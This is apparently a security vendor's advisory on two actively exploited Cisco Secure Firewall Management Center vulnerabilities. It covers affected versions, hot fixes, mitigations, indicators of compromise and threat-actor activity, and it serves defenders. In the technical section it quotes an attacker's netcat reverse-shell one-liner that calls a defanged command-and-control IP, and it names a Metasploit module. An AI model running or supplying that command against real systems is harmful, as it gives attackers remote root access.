Executive Summary

    On September 9th, 2026, CISA added CVE-2026-20079 and CVE-2026-20316 to its Known Exploited Vulnerabilities (KEV) catalog after Cisco confirmed active exploitation of the flaw. The vulnerabilities let an unauthenticated remote attacker send crafted HTTP requests to the web interface of Cisco Secure Firewall Management Center (FMC) and execute scripts as root on the underlying operating system. 

    Secure FMC is the central management console for Cisco Secure Firewall deployments. It holds firewall policies, VPN configurations, certificates, and administrative credentials for every device it manages. A compromised FMC gives an attacker both a map of the network and access to modify its configuration. 

    Both vulnerabilities are confirmed exploited in the wild, and a public proof of concept and Metasploit module exist for CVE-2026-20079. Given the unauthenticated network reach of these flaws, the control FMC holds over enterprise firewall infrastructure, and the demonstrated interest from both nation-state and ransomware operators, Beazley Security recommends affected organizations apply available fixes immediately and conduct a thorough review for any signs of compromise. 

    Affected Systems or Products

    Product

    Affected Versions

    Fixed Versions

    Cisco Secure Firewall Management Center Software

    7.0.0 through 7.0.9, 7.2.0 through 7.2.11, 7.3.0 through 7.3.1.2, 7.4.0 through 7.4.7, 7.6.0 through 7.6.5, 7.7.0 through 7.7.12, 10.0.0 through 10.0.1

    Cisco_Firepower_Mgmt_Center_Hotfix_GB-7.0.9.1-3 Cisco_Secure_FW_Mgmt_Center_Hotfix_HL-7.2.11.1-4 Cisco_Secure_FW_Mgmt_Center_Hotfix_HG-7.4.7.1-3 Cisco_Secure_FW_Mgmt_Center_Hotfix_CY-7.6.5.1-2 Cisco_Secure_FW_Mgmt_Center_Hotfix_AM-7.7.12.1-2.sh Cisco_Secure_FW_Mgmt_Center_Hotfix_P-10.0.1.1-2.sh.REL.tar

    Cloud-Delivered FMC, Firewall Device Manager, Secure Firewall ASA Software, and Secure Firewall Threat Defense Software are not affected by CVE-2026-20316. 

    Mitigations / Workarounds

    Cisco has stated that no workaround fully addresses either vulnerability. Install the hot fix for your FMC release branch now rather than waiting for the consolidated hardening release Cisco has scheduled for the week of September 14th. A single set of hot fixes remediates both CVEs. 

    If hot fixes cannot be applied immediately, reduce exposure until they can: 

    1. 1.

      Remove the FMC management interface from the public internet and restrict access to trusted administrative networks or VPN only. Both flaws are reachable through the web interface. 

    2. 2.

      Review the appliance for the indicators below before and after patching. A hot fix prevents future exploitation but does not remediate a device that has already been compromised. 

    If evidence of a compromise is found, Cisco advises contacting the Cisco Technical Assistance Center (TAC) for recovery guidance and, at a minimum, rotating all user credentials, keys, and certificates stored on the FMC appliance. Credentials for the managed firewalls and any directory or database accounts referenced in FMC should be treated as exposed. 

    Patches

    Cisco has already patched the cloud-hosted Security Cloud Control Firewall Management service. For customer-managed FMC, Cisco released hot fixes for all supported release branches on July 29th. Customers can download the hot fixes from the Software Center on Cisco.com, and in the Cisco advisories posted below. 

    Indicators of Compromise

    CISA added CVE-2026-20079 to its KEV catalog on September 9th, 2026, following their addition of CVE-2026-20316 to the catalog on July 29th, 2026. Cisco's own example log entry for the shared indicator is dated July 23rd, suggesting exploitation predates both public confirmations.

     Cisco Talos has attributed the observed intrusions to three clusters: an unattributed actor deploying web shells and harvesting credentials, a cluster overlapping with the Russian state-sponsored group Sandworm that used both flaws to deploy a variant of the Cyclops Blink implant. The Sandworm-linked cluster was observed running its own vulnerability scanner against internet-facing FMC instances. The Qilin ransomware affiliate was observed logging into FMC with static credentials and used FMC's built-in tooling to stage encryption across the victim network. FMC has become a recurring target in 2026: a third FMC flaw, CVE-2026-20131, was exploited as a zero-day by the Interlock ransomware group earlier this year. These IOCs are all worth checking for on any publicly accessible FMC console accessible since mid July.

     The single most useful IOC is the license entries within the messages which Cisco published. You can access the logs through the expert mode on the FMC, and searching the system log for license activity:

    cat /var/log/messages | grep license 

    An entry showing the web server account www invoking package_info.pl as root against /var/tmp/license.tmp indicates an attacker used the license installation path to run a malicious package with root privileges. This artifact was observed in both the Sandworm-linked and Qilin-linked intrusions.

    Beyond that log check, defenders should review for: 

    • Unexpected JSP files in the FMC Tomcat webroot directory, or JAR files placed alongside them, which the first cluster used as a web shell and command executor. 

    • Logins to the FMC web interface from unrecognized IP addresses or ASNs, particularly sessions under low-privileged accounts that administrators do not use. 

    • Outbound connections from the FMC to unfamiliar external hosts, especially on non-standard ports, consistent with reverse shells or SOCKS proxying. 

    • New init scripts under /etc/init.d/ or unexpected persistence on the appliance. 

    • Queries against the internal FMC database for user authentication data, and HTTP GET requests retrieving staged files from the appliance. 

    Cisco Talos has published file hashes and infrastructure for the three clusters in its report and GitHub repository, along with Snort signatures for both CVEs and the observed malware. Here is their abreviated list: 

    IOC 

    Cluster 

    Description 

    B037f45e02a289325a1a5eb0d4db6a9fce9954fd0fdfd07162cb4eb2acbef77d 

    UAT-12197 

    home[.]jsp – web shell. 

    Db491181ece3f319de6567ab6f6daa90c6879911cd890155e6b7d8cc7a1a8c8e 

    UAT-12197 

    cmd[.]jar – JAR-based command executor. 

    89.34.96[.]56   

    UAT-11823 

    NetCat-based reverse shell C2. Cyclop Blink C2. 

    208.123.119[.]215 

    UAT-11823 

    NetCat-based reverse shell C2. 

    104.218.165[.]253 

    UAT-11823 

    Attacker’s vulnerability scanner for CVE-2026-20079. 

    91.214.78[.]118 

    UAT-11823 

    NetCat-based reverse shell C2. 

    6f98add5d1a7729192b6ad8491d85c505c64836f7881742d6b93bd8e3d2fe461 

    UAT-11823 

    Cyclops Blink malware. 

    43.204.2[.]142 

    UAT-11988 

    Attacker IP address used to conduct intrusions. 

    Technical Details

    CVE-2026-20079: Unauthenticated Authentication Bypass to Root 

    The flaw stems from a system process that FMC creates improperly at boot time. An attacker who sends crafted HTTP requests to the web interface can bypass authentication entirely and execute scripts and commands as root on the underlying operating system without user interaction. A public proof of concept and a Metasploit module use exploit/linux/http/cisco/fmc_auth_bypass_rce exist. 

    CVE-2026-20316: Static Credentials for a Low-Privileged Account 

    CVE-2026-20316 was reported by Jimi Sebree of Horizon3.ai. FMC ships with a hard-coded password for a built-in, low-privileged account in the web interface. A remote attacker who knows the credential can simply log in. The Qilin affiliate logged in with these credentials and then abused the legitimate package_info.pl utility to execute an attacker-supplied license.tmp package as root, using that to enumerate Active Directory and database credentials, map domain controllers and file servers, tunnel LDAP, Kerberos, SMB, and WinRM back to attacker infrastructure, and ultimately deploy ransomware to selected endpoints. Horizon3.ai has not published technical details or a proof of concept for this flaw. 

    Activity Chained from both 

    The Sandworm-linked cluster obtained initial access through either flaw, replaced license.tmp with a malicious Makeself package to open a reverse shell. 

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 208[.]123[.]119[.]215 3090 >/tmp/f 

    Once on the host this license file is executed as root by the installation process via the package_info.pl utility. The Sandworm threat actors proceeded to harvest the configurations of every managed firewall, and then installed a variant of Cyclops Blink with credential harvesting, packet sniffing, network scanning, and arbitrary command execution capabilities.  

    Cisco raised the severity of CVE-2026-20316 precisely because the static login is an entry point that other FMC flaws turn into full compromise. Cisco published the same indicator of compromise and the same hot fixes for both advisories on July 29th, weeks before it formally confirmed exploitation of CVE-2026-20079. 

    How Beazley Security is responding

    Beazley Security is monitoring client perimeter devices through our Exposure Management Platform to identify impacted devices and support organizations in remediation of any issues found. 

    We are also conducting threat hunts across our MDR environment to detect potential exploitation attempts against our clients. 

    If you believe your organization may have been impacted by this attack campaign and need support, please contact our Incident Response team.

    Sources